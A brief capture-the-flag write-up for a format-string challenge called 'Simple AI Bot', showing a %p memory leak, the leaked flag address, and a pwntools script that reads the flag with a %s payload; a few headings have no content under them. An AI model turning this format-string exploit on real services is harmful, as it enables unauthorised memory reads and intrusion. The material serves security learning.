ctf-writeups

Simple AI Bot

Blind pwn suggested by @Rosayxy.

The input string goes through printf(str):

Hi, what can I help you with today?
> %p%p%p%p%p%p%p%p
I'm sorry, I don't know about: 0x7fffb71d52f00x110xc00200000x7fffb71d5320(nil)0x70257025702570250x70257025702570250x373265313464000a

Is there anything what you want me to ask?

The data printed:

Get flag address:

Hi, what can I help you with today?
> flag
The flag is safely stored in 0x57278f8c5040

Is there anything what you want me to ask?
>

Put flag address at the end of the input string, and use %s to print the contents:

from pwn import *
context(log_level='debug')

p = remote("simple-ai-bot.ctf.zone", 4242)

p.recvuntil(">")
p.sendline(b"flag")
addr = int(p.recvuntil(">").split()[6], 16)
p.sendline(b"%p"*7+b"%s"+p64(addr))
p.interactive()

The order of args:

Solved!